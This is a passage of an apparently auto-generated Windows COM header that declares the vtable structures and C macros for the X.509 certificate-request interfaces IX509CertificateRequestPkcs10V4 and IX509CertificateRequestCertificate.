*put_ClaimType )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ KeyAttestationClaimType Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestPrivateKeyPreferred )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestPrivateKeyPreferred )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10V4Vtbl;\n\n    interface IX509CertificateRequestPkcs10V4\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10V4Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10V4_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10V4_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10V4_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10V4_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10V4_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10V4_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10V4_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10V4_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10V4_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10V4_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10V4_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10V4_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10V4_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10V4_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestPkcs10V4_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V4_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n\n#define IX509CertificateRequestPkcs10V4_get_AttestPrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestPrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AttestPrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestPrivateKey(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_AttestationEncryptionCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestationEncryptionCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AttestationEncryptionCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestationEncryptionCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ChallengePassword(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ChallengePassword(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ChallengePassword(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ChallengePassword(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n\n#define IX509CertificateRequestPkcs10V4_get_ClaimType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClaimType(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ClaimType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClaimType(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_AttestPrivateKeyPreferred(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestPrivateKeyPreferred(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AttestPrivateKeyPreferred(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestPrivateKeyPreferred(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10V4_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCertificate_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab343-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCertificate : public IX509CertificateRequestPkcs10\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE CheckPublicKeySignature( \n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Issuer( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Issuer( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NotBefore( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NotBefore( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NotAfter( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NotAfter( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCertificate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            